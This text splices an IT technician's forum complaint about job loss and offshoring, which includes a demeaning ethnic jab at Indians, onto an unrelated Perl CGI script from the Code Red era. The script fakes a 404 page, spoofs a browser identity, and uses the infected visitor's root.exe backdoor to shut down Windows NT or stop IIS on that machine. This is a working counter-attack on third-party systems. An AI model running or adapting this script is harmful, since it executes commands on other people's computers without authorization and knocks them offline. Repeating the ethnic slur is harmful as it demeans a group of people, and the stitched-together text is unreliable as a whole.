I earned my tech stripes supporting windows 95, and got a computer and networking AA by the middle of 99 (This included an MCSE and A+) My practical tech experience got me more than the schooling, but I was one of the sharper tools in the technical shed, compared to both schoolmates and coworkers. Still, with years of tech support, QA testing, and practical networking support (NT/2000, Unix, and 9x support, I still have a hell of a time getting interviews for a work-a-day job. I get a fair amount of freelance work, mainly because I am a damn good tech that gets the job done for my customers. Over 2/3 the people I worked with on tech support can't do what I can. I am supporting the folks that need a good tech but can't afford a full time tech. I would love to find a job doing support, but I have a low curry tolerance. I know personally that over 50 people I know lost their jobs to India. I will not buy any Netgear hardware due to their moving tech support to india. That and living in Oregon, the worst state for unemployment in the country, it's a small wonder I can find work to keep busy at all. 4 years ago, it was not like this at all. The only chance for real money is to upgrade, and specialize. I have gone to small business apps, and audio processing software/hardware.

#!/usr/bin/perl -w

# Authored by Anthony Kilna (anthony@kilna.com) Licensed under GPL

# Change these variables to taste...

# 1 or 0 depending on whether you'd like to shut down NT entirely or just IIS
$full_shutdown = 1;

# 1 or 0 depending on whether you want to spoof a http 404 status code
$spoof_404 = 1;

# The location of a file that will be served up (if you're 404-ing this should
# look like a typical 404 message from your server for the file /default.ida)
$file = '/www/404.html';

use LWP::UserAgent;
use HTTP::Request;

# Make the HTTP header
if ($spoof_404) {
print "Status: 404 Not Found\n";
}
print "Content-type: text/html\n\n";

# Output the file to the browser
if (open FILE, $file) {
while (<FILE>) { print $_; }
close FILE;
}

# Makes it so the browser/virus isn't waiting for the outgoing request below
close STDOUT;

$server = $ENV{'REMOTE_ADDR'};
$rooturl = "http://$server/scripts/root.exe";
$connection = new LWP::UserAgent;
# Look like we're a real browser (ha!)
$connection->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)");

if ($full_shutdown) {
# Attempt to shut down NT
$command = '/c+rundll32.exe+shell32.dll,SHExitWindowsEx+5';
}
else {
# Attempt to shut down IIS
$command = '/c+iisreset+/stop';
}

# Make the request
$response = $connection->request(new HTTP::Request GET=>"$rooturl?$command");

# See if it worked, if so report to the web server's log file
if ($response->is_success) {
if ($full_shutdown) {
print STDERR "Code red NT shutdown on $server\n";
}
else {
print STDERR "Code red IIS shutdown on $server\n";
}
}